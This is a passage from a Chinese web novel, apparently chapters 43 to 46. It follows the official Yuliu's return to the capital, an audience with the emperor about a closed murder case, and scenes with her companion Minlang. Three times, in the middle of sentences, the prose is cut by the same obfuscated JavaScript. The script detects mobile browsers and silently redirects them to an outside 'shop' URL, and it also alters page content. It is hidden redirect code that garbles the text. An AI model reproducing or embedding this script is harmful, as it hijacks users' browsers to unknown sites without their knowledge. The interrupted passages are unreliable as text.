相比于其他人,宝儿背坐着,一路上脸都埋在玉流的胸口,除了乱糟糟的头发,其余好得不得了。根本不像他,脸被风刀子剜得生疼。 有人不高兴宝儿就高兴了:“好得不能再好了。” “呵,”敏郎冷笑,眼底的讥诮根本刹不住,“小妹妹,被怀疑了脸皮还能这么厚?” “你怎么——哦,你,”宝儿恍然大悟,碍于玉流离他们并不远,只能磨着牙齿骂,“哥哥,你可真令人讨厌。” 敏郎很宽容:“彼此彼此。” “哼!”宝儿抖着鼻头,不甘心就这么被暗算了,转头就要向玉流告状,“姐姐,姐姐姐姐,他——” 玉流冷着脸:“又怎么了,我的大小姐。” “没、没有。”被玉流的眼风一扫,宝儿那点心头气立马就没了。俗话说挖出萝卜带出泥,哥哥虽然讨厌,但她也不是什么纯白的小可爱,还是不说了。 宝儿讨好:“姐姐忙,我会乖乖的。” 敏郎接茬:“我也会的!” 小白:“啊,我、我也是。” 玉流:“很好。” 守卫长早已侯玉流多时,恭敬地打开门:“玉大人赶路辛苦了,先喝口茶吧,章大人正在赶来的路上。” “茶就不用了,”玉流指着不远处的那几个,“放他们进来,记我府上。” 先前那小姑娘的喊声已经够让守卫长惊讶了,没想到玉大人还要带他们进来,不过他也只敢想想,不敢多言:“是。” “你去给他们登记一下,”他吩咐手下的城门卫,给玉流搬来椅子,“玉大人请坐。” “不用了,”玉流看了眼京城,用着寻常的语气,不经意地询问,“最近,有出什么事吗?” 守卫长摇头:“一切如常。” 是吗,是真没有还是被瞒下了,她更倾向于后者,所以章囚急着找她回来到底要做什么? 正想着,“阿玉。” 章囚见到她便赶紧勒马,起身跳下,步履匆匆朝她走来。 “囚哥你怎么……”虽说外侯官没有清晰的晨昏之分,一天十二个时辰随时待命都是常事,但是章囚好歹是指挥使,几日不见竟然憔悴了这么多,胡子拉碴的也就不说了,这是多久没有睡了,眼底黑成这样? 章囚摆手:“我没事,倒是阿玉你瘦了。” 下颌线都是瘦瘦的一条,衬得如冷雪的五官更加秾丽。 章囚抬起的手还未触碰到玉流扬起的发丝,就被敏郎握住,僵持在半空。 护食的奶狗凶相毕露:“别碰她。” 章囚皱眉,这小郎君从哪儿冒出来的,怎么这么不懂规矩:“你是——” 玉流:“……” 怎么登记得这么快。 她转过半身,宝儿正被小白死死抱住,所以没能及时过来。 敏郎才不管这些,吃醋地问玉流:“他是谁!怎么能喊大人阿唔唔唔……” 玉流扬手就是一掌扑在敏郎的脸上,精准地让他吃下后续,再拉开他的手,略带歉意地请示章囚:“稍等。” 她拉着人:“敏郎你过来。” 城门这边没什么能说话的好地方,玉流只能带他走到墙下。除了那两个孩子,其余个个都是个中好手,藏着掖着没必要。更何况在她选择将他带回来的时候,就没想过偷瞒下去。 但不是此时。 玉流压低声音:“我们来谈谈第二章。” “啊,现在吗,是不是,嗯,不太合适?”一提到这件事,他就没什么情绪了,不由自主地扭捏起来。 “我现在很严肃,你给我认真点,别用撒娇一样的口气。” “知、知道了。” “头低下来,听我说。” 敏郎依言垂首,漂亮的眼睛看起来听得全神贯注。若是从他的视角看去,就能看见玉流一开一合的嘴唇。 “好,嗯。”半阖的右眼微抬,不出意外地收到了审视的凝望。啊,京城碍眼的人好像更多了。 在章囚发现前,他先收眼,嗯嗯地点头。 “……京城不比崇州,到处都是探子,平时做事说话注意点,谨言慎行,尤其是在外侯官面前,记住了吗?” 一心两用,玉流说一句他答一句,好像真的听进去了。 不过什么都比不上与之相对的。 “那、那我可以提我的要求吗?” “可以,等我回来。” “好吧。”敏郎很想趁机抱一抱,拥有和占据都是要给别人看的。 手才贴上腰侧,玉流就推了出去,她没允许:“大晚上的,一堆外人在,像什么样子。我才说了注意点。” 敏郎失望但不死心,咬着唇楚楚可怜:“不可以吗?” “说了不可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404417|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”玉流没心软,拇指按在他的嘴角,指腹在他干枯起皮的唇瓣上磨了磨,揩去血痂,“别咬了,回去喝点水。” “好吧。” “外侯官会带你们去我府上,我不知道什么时候回来,自己先收拾,饿了找饭吃,困了找床睡。带着那两个孩子留在那里,看着点他们,还有……” “阿玉,”章囚出声打断,“得快点了。” 虽然不知何意,但也能听出事态之紧急,玉流言止于此:“就先这样。” “哦……啊,等等!”敏郎想到了什么,拉住她的手,紧接着从随身背着的包袱里抽出一卷文书,递给她。 “什么东西?” “呃,柳大人让我带的,好像是,嗯,柳大人写的结案陈词?” “结案陈词?” “嗯。” 柳吾善写这个做什么,玉流翻开,一目十行,眉心都要拧出皱纹了。他居然写了这么多废话?算了,拿了再说。 章囚催得急,玉流随便指了个跟过来的外侯官:“你,把他们带到我的住处。” 章囚素来稳重内敛,就算听见玉流说出不符合她性子的话来,外侯官长官也神情从容,在这三人身上来回打量。 因为是玉流带回来的人,故而探究的目光并未深入。 两个孩子,还有一位——他在被玉流称为敏郎的少年身上停顿得尤为长了些。 其实说少年并不太合适,身量算得上青年,脸却看起来很小,配上他出挑的眉眼,像是世外清溪边纯粹又热烈的小树,不似他们这等人的污浊。 玉流喜欢这一挂的?怪不得…… 章囚在心里自嘲笑笑,孤身一人久了,总是会做些不切实际的美梦。幸亏只是做梦,还能够收场。 他替玉流安排道:“你留下帮他们安置好,玉大人府上没下人。” “是,大人。” “囚哥,走吧。”玉流把白马留下了,奔波了一路,它也该休息了。她拍拍外侯官,牵走了他的马。 “大人辛苦。” 目送两位大人远去后,来领路的外侯官很客气地走向他们:“三位,请随我往这边走。” 敏郎按在唇角,轻轻压了压。对于章囚不清不楚的示好,他怎么听着这么不舒服呢? 心里不情不愿,面上不动如山。 “那、那有劳这位侯官大人。”他也客客气气地道谢。 玉流披着一身风尘,巡夜的打更人梆梆梆敲了三声,子时了啊。 她朝四周望去,袖口在呼呼的风中犹如飞鸟展羽。着灰的素衣外,连日劳累而倦怠的神经未能察觉出与她接踵而过的诡谲暗流。 玉流扬眉:“你找我回来的时机倒是巧,到底出了什么事?” 章囚:“我暂时不能说。” 玉流单刀直入:“那行,正好我有事和你谈。” 在玉流说下去前,章囚阻止她:“先别说,我暂时也不能听。” 不能说还不能听,玉流终是察觉到了不对。她的脸色凝重起来:“有多糟?” “很糟。” 玉流有胆子有手段,算是天不怕地不怕,只是这次……章囚冷峻的脸朝向她,似乎有一肚子的话要说,最后却只是克制地提醒:“玉流,等会儿少说话。” “什么?” 章囚让她朝前看。 眼前的街路越来越宽,周围的屋舍早已换成了点灯的红砖墙,等等,这条路是去…… “这个时辰进宫,”玉流难掩眼中的震惊,“我要去见陛下?” 44. 糊弄学 玉流还从未在这个时辰入过皇宫。 需人仰望的屋檐重重复重重,朱墙琉瓦落着森森冷光,裹着庄严肃穆的宫殿犹如张开巨口的深渊。殿檐悬挂的宫灯并非指路,而是在引诱天下诸如她的飞虫蝼蚁前来飞身扑火,印证自己的不自量力。 她从来都清楚,这才是吃人都不吐骨头的炼狱。 “……章大人请留步,玉大人,玉大人?”陛下身边最得宠的胡公公提着灯笼点着脚尖走来,尖细的嗓子将玉流从神游中拉回来,“玉大人,这边请。” 章囚已经停下,拍拍玉流的肩膀:“去吧。” 玉流醒神,点头:“有劳公公了。” 胡公公笑:“玉大人客气。” 走上台阶,在玉流推门的前一刻,胡公公用寿竹做的灯杆压在她的手背,嘴未张,已有声。 “玉大人,陛下近来心神不安,咱家建议玉大人点到为止,”说完,便抬手为她推开门,毕恭毕敬道,“陛下,玉大人到了。” 斜靠在软塌上的中年男子支起眼,手中翻书的动作微停:“玉流来了啊,进来吧。” …… 天色渐明,宫殿之上如淬金光,照得人脑袋发晕。 即使早已身离宫墙,玉流还是三缄其口。章囚看了眼周围,走到她身边,从她手里牵过马,低声问:“陛下问了你什么?” 玉流嘴微张,字句自唇舌流转,繁复的心绪不甚清明:“也就是……那桩案子。” 屈指可数的那几次进宫,她资历浅,地位低,只能排在奉天殿后遥遥听命,就算是接受嘉奖的那次,也是隔着珠帘。 玉流还是第一次这么近地见到陛下。 已是知天命的岁数,久居皇宫,身形却极为匀称,不比朝中那些三四十岁就大腹便便的官员。尤其是那张脸,皮肉紧实,俊朗儒雅,朝她看来时带着笑意,引出细密狭长的皱纹,可圆滑的轮廓里却是藏锋的眉眼。 既有皇家之人作为上位者的尊贵,又有为民者的亲和。 她很难说清这位陛下究竟是个什么样的人。 长夜未眠,面有倦怠,平平无奇的眼神随意落下,随之而来的是身居高位的掌权者不怒自威的压迫。 多数时候,玉流对他只有一个印象:这就是当年凭一己之力平定亲弟谋反,又将百万叛党焚杀于禁山的二皇子赵徥,一个曾沾了万人血,背过天下骂的人。 极少数的时候,也会想起安思贤未进宫前同她说的话,说陛下私下里,其实只是个好相处的长辈。 这个好相处,应该分人。 玉流双膝跪,叩首行礼:“陛下。” “不必多礼,你刚回来,朕本该让你休整的。后来想了想还是让你先来一趟,后面好好休息更好。” “多谢陛下体恤。”伴君如伴虎,这种话听听就好了,玉流接下来说的每一句都得慎之又慎。 赵徥察觉到了这位年轻侯官的谨慎,放下手里的书,缓声道:“不必紧张,章囚送你过来的吧。” 玉流记着章囚的话,能少说就少说:“是。” “和他有聊过吗?” “臣……臣急着进宫,就问了几句近况,章大人看起来,有些劳累。” 玉流初入朝堂,还不擅揣度君上心意,但也能感觉到陛下这些拉家常的话,听着像是小小的水坑,踩多了,自己迟早掉进深坑里。 赵徥这辈子见过太多的人,听过太多的话,只需说个一字半句就能看出真假。 玉流说的是真话。 那很好,他扬手:“诸几不在京城,章囚这几日的确有些劳累,你回来正好,他也能少些操劳。也不必跪着了,胡平,赐座。” “是。” 贴门揣手站着的胡公公踩着小碎步为她搬来一张软凳:“玉大人,请坐。” 玉流站起来,谢过,坐下。兜兜绕绕一大回,仍是一头雾水,唯一得知的消息居然是诸几不在京城。 这几日到底发生了什么? 然赵徥不由她多想:“说起来,国舅的案子查得怎么样了?” 玉流思量着,挑了个折中的回:“不太好。” “哦?”似乎是没有想到玉流回如此答,他觉得扫兴,又拿起了那本书,“查到哪里了?” 玉流眼神不错,看见了书的封页,居然是慕容鸠写的话本。慕容鸠你也是好起来了,书的受众都上至这个层级了。 玉流收回眼:“臣杀了一个无涯贼首。” 闻言,赵徥眼角的余光掠向她,带着一丝不易察觉的肃杀之意:“一个?杀了?” 玉流:“是,他自称是无涯贼首。” 察言观色是基本,语调里的些许波动都能代表主人的情绪变化,更别说玉流一个剑客,更是敏锐。 她不用抬头便品出了陛下的不悦。 空阔的寝殿内此刻却像是逼仄万分的牢笼。 她,说错了什么吗? 玉流不解,同低头的胡公公交错过眼神。刹那间,入殿门前他的话涌入脑海。 她记得胡公公在侍奉陛下之前,好像是内侯官来着。内侯官身处后宫,说话颇有讲究,每个字,都有用处。 比如说:点到为止——是案子吗? 那她该如何说,玉流避无可避地想起了糊弄学大家柳吾善写的那些废话…… 章囚好奇:“柳吾善写了什么?” 玉流无言,拿出藏在袖中的那卷薄纸给他。 ——此人自称无涯贼首,江湖人,姓甚名谁不详,生年不详,卒于成武十八年。据本官调查与审讯,其已承认无涯贼首为虚名。三月以来油菜花颇闹,江湖人心不定,安国舅运气不佳,误撞上江湖人作恶,因此丢了性命。 章囚看着看着就笑出了声,他是真佩服柳吾善,怪不得诸几后来和他说玉流过去得小心吃亏,这位柳大人啊,瞎猫撞上死耗子的运气真是无人能敌。 “故事从头讲到尾,重点是一句都没有。” “都是废话,我没全按他的来。” 玉流到底有自己的脑子,换了换说法,特别是在无涯贼首的身份上,她没说死,只说死的那位的确有嫌疑。反正死无对证。 更重要的一点,玉流道:“陛下没说什么。” “那是因为陛下不想再追究了,”章囚动手帮她毁了这份证据,轻叹,“再查下去,打的只有皇家的脸。” “什么意思,你到底瞒了我什么?”玉流想不明白,千里迢迢送来的一纸书信说不清楚也情有可原,怎么她回来了还是如此。提前告知她去见陛下又能如何,她又不会转头就跑。 玉流沾染了些许薄怒:“到底出了什么事,值得你这么费劲心思地迂回行事?” 两人已经走到侯官署,自己的地盘章囚也不再隐瞒了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423050|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前几日外侯官接到举报,平安巷有人诱骗妇女逼良为娼。我派人去查了,妇女一个没见着,倒在巷子深处抓出来一窝男妓。有人为了自保,送给我一个秘密。” 章囚顿了顿:“安德明曾是他们的常客。” “啊,”玉流演不出惊讶,在章囚面前卖弄这些也无意义,“所以呢?” “你怎么——”章囚看着她如此镇定,吸了口气,心下了然,轻轻摇头道,“阿玉,你果然已经查到这点了。” “安德明是断袖吗?是,我已经查到了,这大概就是他跑去崇州的原因之一。那儿有座男青楼,他进去了,但这又如何,大殷明面上闭口不谈断袖磨镜,私下并未禁止,只要不舞到官府面前,我们都能睁一只眼闭一只眼,毕竟,人之常情,爱找谁找谁,免得祸害其他人。” 章囚抬手,安抚玉流:“若只是这点,我犯不着瞒着你。” “那是为什么?” “你的身份不允许。” 章囚想找个好听点的说法,思来想去,发觉完全没有,扶着额头道:“安德明的死几乎可以算得上替天行道。江湖人替朝廷行道义。” “什么?” 玉流的回音回荡在无人的侯官署。白日的光没有驱散她从宫中带出的冷,反而让她觉得自己从不知何时起,掉进了另一个深坑中。 玉流重复:“什么叫,替天行道?” 章囚面色沉沉:“那个自保的男妓给我带了一个人来,是安德明屋里的人,他反水了,供了一堆的安家秘辛出来。我找了几个人,在安德明的院子里挖出来一堆白骨。仵作验过了,都是十几岁到二十几岁的男子,死于窒息。” 他比了下脖颈,接着道:“他们是谁你应该能猜出来,为什么会死也不必我多说。那么多的尸骨,还只是目前已知的。你完全可以想象安德明这些年在京城,在陛下的眼皮子底下,不知杀了多少人,挖出来的每一根骨头都在彰显侯官无用。而去查案的你,是江湖人出身。我倒是不担心你,只是陛下不会这么想。我急召你回来,就是怕你追查太深,一旦公告天下,世人将并非因果的两件事一串,后果不堪设想。” 玉流愣住了。不是因为安家内发生的事,而是因为时机之巧。她才想让章囚找人查安家,结果就有人自己送上来了。虽然殊途同归,但怎么,她总觉得哪里很不对呢。 “怎么会这样,”她问,“举报的人可靠吗?” “查过了,可怜人罢了,算是安家的报应,”章囚在官场呆久了,对这种事看得很开,“目前此事全权由我负责,没有其余侯官涉入,知晓的也只有陛下,我和胡公公。不和你说是因为旁人皆知你我交好,你又同安思贤……咳,陛下总有顾虑的。” 玉流:“那你现在告诉我,没关系吗?” “没关系,你就把这当作一个考验。陛下要的是你的态度,而不是真相,”章囚欣慰,“万幸,你没说错话。” 玉流歪头,有点尴尬:“也不能这么说。” 章囚以为她还在怪他:“不告诉你是我不对。” “不至于,我知道囚哥你有自己的考量,问题是,”玉流颇感头疼,“我要欠人情了。” “柳吾善?” “不是,”柳吾善还好说,老萝卜精人不错的,另一个就不知道了。玉流最烦和内侯官打交道,烦闷地按着眉心,“我欠胡平一个人情了。” 45. 哪来的 “那这案子就这样了吗?” “是,过几日写一份结案陈词,此案就到此为止。” 玉流抿唇望向徐徐升起的朝日,默默不语,这天光,怎么一点暖意都没有。 “你在担心吗,怕有人跳出来?” “无涯贼首?不会,人未必是他杀的。” 听得她如此说,章囚惊讶于她的办事效率:“你已经查到这个地步了?” “不是。”她也陷在僵局里,最多是在烂到不行的淤泥堆里找到了点惹眼的石头块而已,而且保不准这点石头也没用了。 玉流问:“安德明的那名护卫呢?” “死了,安家动的手,我过去的时候人已经被丢进乱葬岗了。” “我就知道。”她早该料到的。 玉流心中明了,国舅案真的死无对证了,挫败席卷而来,嘲讽她做的无用功:“没什么事的话我先回去了。” 章囚点头,吹了口哨,两匹马听话地跑回了马厩,他转身走来:“时候还早,我送你回去吧,这几日辛苦了。” “我还好,倒是你,”玉流同他并肩走出侯官署,“说真的,囚哥你看着老了好几岁。” “是吗,”这话从旁人口中说出来章囚还能不以为意,从玉流嘴里说出来就完全不一样了,他挡着下巴上冒出的胡茬,“我等会儿回去刮面。” “不是刮面的问题,囚哥你真的好好睡几个时辰吧,三十是道槛,眼里的疲态才是真的显老。” “阿玉,”章囚忽然停下,语气不善道,“你再说一遍。” 玉流:“……”说个实话而已,章囚什么时候也开始在意这种事了。 “那什么,说句玩笑,囚哥你很好,”玉流笑了几声,摸着手,迅速绕回到正事上来,“忘了问,安国公和安思贤呢?” 章囚放过她了:“王子犯法,庶民同罪。儿子犯法,老子岂可全身而退?更何况安德明做的那些事,他未必不知情,只能说他有个好女儿,安德明做的事不能说出来,他也不至于掉脑袋。” 章囚掩不住地讥笑:“他自请去敬国寺出家了。” 哦?这可够稀奇的。 “陛下答应了?” “是,连夜就被送到佛寺去了。” “安思贤呢?” “怪就怪在这里。” 天蒙蒙亮起,侯官署所在的这块地没什么人住,附近都空着。他们穿过长长的街巷,往东边走去。 四月天里,荒废的围墙内石榴繁茂,嫩绿的枝叶穿过墙缝,用不了多久,枝头快要结出花蕾了。 他伸手,帮玉流抬起挡头的石榴枝:“我听内侯官的说法,安国公是想让陛下放安思贤出宫的,说深知罪孽深重,父女二人要青灯古佛终此一生。陛下拒绝了,说要长姐要为幼弟赎罪,宫内就有现成的地方。” “这是陛下的意思还是……安思贤求来的?” “不好说,陛下依旧留着安思贤的贵妃之位,但自安家出事以来,她已经很久没有现身了。” “陛下在保她?” “或许是。” 玉流回想起安思贤那张孤傲的脸,还有入宫前偷跑出来见她,哭得梨花带雨,求她带她私奔的蠢话。对于过去的安思贤,玉流偶尔还会有几分怀念在:“我以为,她不至于以色侍人。” “人心易变,多少年了,后位空悬,陛下也一直没有子嗣,朝臣对此本就颇有微词。若不是碍于外侯官无孔不入地盯着,他们写的折子能跟雪花片似的往后宫里飞。你要知道,”章囚轻声道,“除了早年进宫的妃嫔,近来也只有安思贤一个人入宫,陛下对她的看重,比我们想的要深,且不是你想的那样。” “囚哥,我怎么觉得你话里有话。” 章囚失笑:“玉流,不要这么敏锐。” 章囚静立片刻,在以他俩为中心的方圆几里没有察觉到有活人后,他才压着嗓子继续:“二十年前那桩谋反案,还牵扯到了先帝最疼爱的女儿,陛下最宠爱的妹妹,仁公主殿下,她也死在了那场政变中。” 玉流对皇家的往事向来不太熟悉,点头表示自己在听,静待章囚的后文。 章囚道:“你若是早几年出生就会知道了,传言这位殿下从小身子弱,久居宫中,几乎从未露面。但传言始终是传言,你要明白,天子要让世人相信什么,人们就会得到什么。” 玉流听懂了:“所以还有另一则真正的,传言。” “不错,我听父亲说起过,当年的知情人几乎都被陛下处理干净,但有些人,陛下杀不得,比方说,我父亲,还有安国公,”章囚俯身,在她耳边轻语,“据说,安思贤……有仁公主的三分神韵在。” “你是说——”安思贤是那位殿下的替身? 后面的话断在喉中,玉流不敢,也不能说出来。 黄天老眼非尘世,真够超脱世俗的。玉流暗自称奇,皇家,也玩替身这种把戏?还是禁忌那挂的,真是活久了什么都能见到。 玉流挑着眼,同他开玩笑:“囚哥,你就这么告诉我了,不怕我说出去?” “传闻之所以为传闻,本就真假难辨,再说了,我告诉你的,只不过是个冠有‘鲜为人知’名头的传闻而已。” 章囚不介意告诉玉流这件事,其一是他知道玉流有分寸。其二,以玉流和安思贤之间的交情,这点捕风捉影的小秘辛,或许以后还能用上。 说实话,章囚自己都觉得安家这案子,哪哪都有那种无法言说刻意在。 他到底不是只会坐着批请示的文官,今天这个位置,也是他一步一步走上来的。他当年还不是指挥使的时候,做出的成绩也不输给玉流。可是这几日,他仿佛被人牵着,走向了木偶既定的轨道中,查出的证据堪称完美,简直完美过了头,他甚至觉得陛下对此事的态度也很古怪。 章囚捏着眉心,先放下这些心事:“能说的我都说了,是不是该换阿玉你说了?” 玉流不解:“我能有什么好说的?” “没有吗?” 章囚低头看来,神情之正气,目光之灼灼,让玉流一时心虚:“那什么,问我前我先问一句,诸哥呢,陛下说他离京了?” 章囚都差点忘了还有诸几了:“对,就在你走后不久。” 事情说大不大,说小不小,他简略道:“地方出了点岔子。” “什么地方,又是哪位皇亲国戚死了,要外侯官甲等副指挥使亲自去?” 玉流近乎挑刺儿的言辞下,章囚没有接茬。 “哎,”玉流无奈,“囚哥,你别和诸哥一样啊。” “我怎么会和他一样。” 章囚话是这么说的,下一句就是:“你带回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434743|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那几个是……哪来的?” 玉流带着活人回来就够令他吃惊了,这一次还带了三个,尤其是那位少年郎,不仅凭空出现,还对他抱有如此强烈的敌意。 不过更为令人在意的,还是玉流对他的纵容。他们二人间有着旁人无法插足的亲密。 如果他没猜错的话,她这是……找了个小情人回来? 玉流指责他:“囚哥,才说了不和诸哥一样。” 章囚调整了脚下:“咳,毕竟难得。” “呃……说来话长,等什么时候诸哥回来了,再一起见见。” “诸几的事有的忙,不如先见了,”章囚完全不按玉流的想法来,“你都带回来了,总归要认识的,我都走到这儿了,去见一见吧。” “不了吧,孩子们都累了,估计睡了。”玉流第一个反应是拒绝,现在给章囚说了,那她岂不是后面还要找时间应付诸几?就他那张打破沙锅问到底的嘴,玉流光是想想就觉得太累人了。 “不一定吧,”章囚指着门口的人,“你看。” 玉流住的地方不大,一进的院落在她这个品阶里算是寒碜。但玉流自己喜欢,一来清净,二来她自己一个人住,找什么三进三出的院子,三来嘛,这里离侯官署近,好处还用多说吗? 不过其余人不这么想,当初定好住这里后,有不少同僚借着恭祝乔迁之喜的由头给她送帖子,说有更好的宅子,一样的价钱。 玉流不在意,转头就让手底下的外侯官把帖子送到牙行,听说还成交了好几笔。人嘛,亏钱了就老实了。 在章囚的指引下,玉流看见了熟悉的宅子门口坐着的熟悉的人:“敏郎?” 敏郎抱着膝盖坐在门槛上,一边瞌睡一边心急,整个人都不安稳,听到声音,慌里慌张地站起来。 只是他坐得久了,半身都被吹凉了,手脚冰麻,人一动就直直地倒下去。 “哎,”玉流赶紧过去扶着人,“为什么不在里面睡觉,你不累吗?” “累,”敏郎都快等哭了,“但要等、等大人回家。” 玉流扶他站好:“我又不会跑。” 敏郎轻瞥后面跟着走来的人,话里话外都是酸溜溜的:“说不准吧。” “这是我家,我不回来能去哪儿,”玉流打开小门,“宝儿和小白呢?” “宝儿的话,唔,太吵了,”他停了停,措辞好了才道,“我让送我们来的外侯官把她敲晕了,小白守着呢。” 玉流数落他:“你还不如孩子听话。” 敏郎哼哼唧唧,人跟没骨头一样,把重量全压在玉流身上,手也顺着腰环了上去:“好困好困。” “放开,这是我上司!” “哦。”敏郎不高兴地被推出来,站没站相地靠着灰砖墙,万分坦然地再次接受章囚的刺探。 唯独玉流对此什么都不知道,她扭头:“囚哥,孩子是我路上捡来的,不要问我为什么,你就当我脑子抽了。” “那这位?”敏郎这年纪,不输他的身量,总不能说是孩子了吧。 “啊,他是……” 虽然身体异常疲乏,但只要有人提到他和玉流之间的事情,任何事情,这位小郎君都能立即清醒过来,他抢先道:“是睡——” 玉流捂住他的嘴,波澜不惊地续上去:“是说服来的。” 46. 我认床 章囚走后,留下的两个人进了门,大眼瞪小眼。最后还是敏郎先败下阵来,鼓着一侧的脸颊,不太诚心地说:“我错了。” 小郎君小半张脸都拧了起来,仿佛在说:“快问我,快问我”。玉流拿他没有办法,如他所想的那样:“为什么?” “因为,”他说,“我看谁都像情敌。” 好一个振振有词,玉流都要觉得是不是自己做错了:“听见这种话我是不是该高兴?” 小郎君抬着头,自信得莫名:“嗯!” 玉流默然,仰视的距离让她觉得不是很舒服,于是踩到一旁的石阶上,试试,不太够,再踩一层,还差一点点。 这样斤斤计较的举动不难猜出她要做什么,敏郎唔了声:“其实,我可以蹲下的。” “用不着,”玉流挺直腰背,将那点点差距给抹了过去,她说,“小郎君,你怎么能这么幼稚,比在崇州还要幼稚。” “怎么就幼稚了!”说得他在无理取闹一样!敏郎愤怒了,“我才十八。这里,嗯,处处都是狐狸精!我一个乡下来的,会自卑。所以……就要说就要说。” “唉你怎么,”玉流觉得好笑,“为什么总是喜欢玩这种把戏?” 敏郎皱眉:“难道不是吗,那位送大人回来的,他、他就没有一丁点的,一丁点的……嗯?” 玉流伸手抚平他的眉心:“不是你想的那样,章囚……某种意义上来说,比较像我的兄长,因为像兄长,所以如果照你那么说的话,我会他被训的。” 而且后面如果让诸几知道了,她大概还会被他们嘲笑一整年。敏郎,估计会被针对和盯梢一整年。 “那、那他不是……?”他要她亲口承认。 玉流:“不是。” 敏郎情绪好了点,暗戳戳地继续:“大人,对他,也没意思的,对不对?” “对,”玉流想都不用想就知道他接下来要说什么,“外侯官个个都不傻,我又从没带人回来过,你我什么关系,他们心里有数的。” 要是知道养狗还要哄,她当初一定会犹豫一下的:“现在高兴了没,高兴了就去睡觉,我自己去收拾一下。” “嗯,那……啊!大人不用去烧水了,那位外侯官人特别好,帮我们把水都烧好了。”他指着东厨道。 当然,他美化了一点经过。 两个孩子累得不行,刚坐下就能睡着,念着身上脏得都能抖出一层薄土,不想直接去睡脏了玉流的房子,所以还是想先洗洗,但是又懒得动弹。 其实他还好,但由于目前的人设不可以太强,立马也坐下扮起了柔弱。 宝儿指望不了敏郎,瞅瞅看看,拿着鸡毛当起了令箭,朝着外侯官哥哥哥哥叫个不停。 “哥哥,可以帮我们铺床吗?” “哥哥,可以帮我们套被褥吗?” “哥哥,可以帮我们烧水吗?” ——于是乎,可怜的外侯官就这么当起了仆人。 玉流没想到有一天能把“人好”和外侯官联系在一起,真是开眼了。 “这种话你们没当着他的面说吧。” “啊,不能说吗?” “怎么,你们说了?” “嗯,宝儿说了,”敏郎想想那位外侯官的脸色,“怪不得他走的时候,感觉有点生气了。” 他还说地挺委婉,人走的时候何止是生气,脸都绿了。要不是记着他们是玉流的人,估计能直接撂挑子走了。 “说了就说了,”玉流道,“小事,别说出去就行。你们都洗过了?” “嗯,水还够的。” “好,我自己可以,你去睡吧。” 最近京城天气不错,天清云淡,不算太冷也不算太热。玉流快速地冲洗完,舒坦了许多。她在屋后倒完水,转着有点酸的胳膊,拿干布绞着头发,满身水汽地出来:“你怎么还没睡?” 敏郎蹲在门口,仰面真诚:“我认床。” 玉流绞发的动作都停滞了,她怀疑自己是不是听错了:“你说什么?” “我认床。” “……你要不要听听你自己在说什么,”玉流弯腰,盯着他的眼睛,“敏郎,你是十八岁,不是八岁。” 十八岁的敏郎特别有道理:“十八岁不可以认床吗?” “你是不是当我好骗,”玉流不跟他掰扯,“当初在极乐天我看你睡得可稳了。” 呀,说到这里了,那就怪不了他了。敏郎很勇敢地盯了回去:”不一样。” “哪里不一样。” “一定要我说吗?” “说。” “因为那时候,大人也在。” 听听,这话里的心思路过的蚂蚁都能听见了。 玉流道:“我知道你在想什么,不可以。” “为什么,我们……名正言顺!” “什么名正言顺,”玉流葱白的手指点在他的脑门上,“你见过哪家的未婚夫妻刚回家就滚在一张床上的?” 敏郎嘟囔:“别人不知道,但这里马上就有了。” “我看你是脸皮厚得脸都没了,”玉流第一次觉得这张嘴这么能说,“不可以,再吵我就敲晕你。” “不要,”敏郎拿出了杀手锏,“我要、要提要求了。” 合着在这儿等着她呢,玉流跟他商量:“换一个,这样显得我完全没有原则。” “真的不行吗” “不行。” “大人要不要,仔细看看我,想一想,再回答呢?”敏郎抬起脸,往她眼前来。 吃准她喜欢这张脸了是吧:“……算你狠。” “啊,那就是——” 不等他说完,玉流移开眼:“还是不可以。” “真的,真的不行吗?”敏郎还是不死心,脸都要贴上来了。 玉流搓搓他倔强又略带忧伤的脸,叹了口气:“那走吧。” 噌地,小狗膏药又出现了:“我去开门。” 他进屋,等着玉流进来,关门,走到床边,乖乖脱鞋,乖乖上床,乖乖躺好。把自己都送上去了,他疑惑:“嗯?大人为什么不动。” 玉流搬了张椅子过来,撑着床面:“我守着你睡也是陪你。” 失策了。 敏郎麻溜地坐起来,嘴唇还没开始抖,眼睛还没开始颤,玉流就道:“现在开始哭就太假了。” 这间屋子采光并不好,阴沉沉的一片,以前又是玉流堆证物的,乱得不行,唯一的好处就是离她近。 “今天这么没分寸,你在不安什么,”小狗不安到生出恋家的毛病,而她好累,养狗怎么会这么累,“我真的没空给自己藏小情人的。” 小狗糊着声音:“算、算是吧。” “什么?” 敏郎沉默了许久,理好了自己乱七八糟的忧思 